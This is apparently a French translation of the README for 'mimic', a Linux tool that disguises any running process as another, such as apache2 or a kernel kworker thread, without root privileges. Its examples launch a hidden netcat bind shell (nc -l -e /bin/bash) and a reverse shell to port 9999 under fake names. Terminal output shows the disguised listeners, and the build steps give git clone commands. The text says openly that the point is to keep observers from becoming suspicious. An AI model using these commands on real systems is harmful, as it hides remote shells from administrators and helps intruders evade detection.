
Cacher les processus en tant qu'utilisateur normal sous Linux.
mimic est un outil pour l'exécution furtive sur Linux x86_64.
Qu'est-ce que l'exécution furtive ?
L'exécution furtive est l'art de cacher un processus. Dans ce cas, mimic cache le processus en pleine vue. mimic peut lancer n'importe quel programme et le faire ressembler à n'importe quel autre programme. N'importe quel utilisateur peut l'utiliser. Il ne nécessite pas de permissions spéciales. Il ne nécessite pas de binaires spéciaux. Il ne nécessite pas de root kit.
Quoi ?! Pas de privilèges spéciaux ??
C'est exact. mimic fonctionne en réarrangeant les structures internes d'un processus de manière à tromper l'entrée /proc de ce processus. Tous les outils qui rapportent la nature d'un processus le font en examinant /proc. Si nous pouvons plier /proc, alors nous pouvons cacher un processus en pleine vue. Puisque nous modifions seulement l'état d'un processus que nous possédons, n'importe qui peut exécuter mimic avec succès.
Cela peut-il être détecté ?!
Bien sûr, mais seulement si vous regardez de très près, ou si vous exécutez un outil forensique qui cherche ce genre de chose. L'utilité derrière mimic est qu'il empêchera quelqu'un de devenir suspicieux en premier lieu.
Cela fonctionnera-t-il avec des scripts ?
Oui, mais vous devez appeler mimic directement sur l'interpréteur. Par exemple, si la première ligne de votre script est "#!/usr/bin/perl", alors vous voudrez appeler mimic comme ceci :
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
En invoquant l'interpréteur directement, mimic peut faire sa magie.
Qui est le public cible de mimic ?
Toute personne qui a légitimement besoin d'exécution furtive avant d'avoir obtenu root. Cela inclut, mais sans s'y limiter :
Pourquoi s'appelle-t-il "mimic" ?
Parce que "Liar, liar, /proc on fire!" était trop long.
Qu'est-ce que "set_target_pid" ?
set_target_pid est un petit programme d'aide dans la suite mimic qui épuisera les pids jusqu'à ce que celui que vous voulez revienne. Cela vous permet de choisir où dans la liste des processus vous voulez que votre processus se place. Notez que le noyau réserve les 300 premiers pids pour les threads du noyau. Si vous essayez d'aller en dessous, vous finirez probablement avec le pid 301.
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Exécute COMMAND.
-m Configure COMMAND pour ressembler à MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Lance COMMAND en arrière-plan.
-a Ajoute / écrase KEY dans l'environnement mimic avec la VALUE associée.
-q Sois silencieux ! N'affiche pas la sortie normale.
-h Affiche ce message d'aide.
Notes:
L'environnement MIMIC sera une copie de l'environnement COMMAND.
La variable '_' est automatiquement modifiée.
Le flag -a peut être appelé plusieurs fois pour ajouter / écraser plusieurs variables.
Exemples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
Premier exemple - Lancement d'un écouteur netcat en tant qu'utilisateur normal :
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
Deuxième exemple - Lancement d'un shell inverse netcat en tant que root :
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
Pouvez-vous repérer les faux kworkers ? Pourriez-vous le faire sans l'aide de grep ?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
Bien sûr, aucun kworker ne devrait avoir un socket ouvert, mais je suis sûr que vous pouvez être plus créatifs dans vos choix de noms que ça. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
Notez que je lance ici en tant que root uniquement parce qu'un thread kworker serait très suspect s'il tournait en tant qu'utilisateur non-root. Le nouveau nom mimic est juste une chaîne. Il n'a pas besoin d'être un processus existant. Et même, il n'a même pas besoin d'être une chose réelle !
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make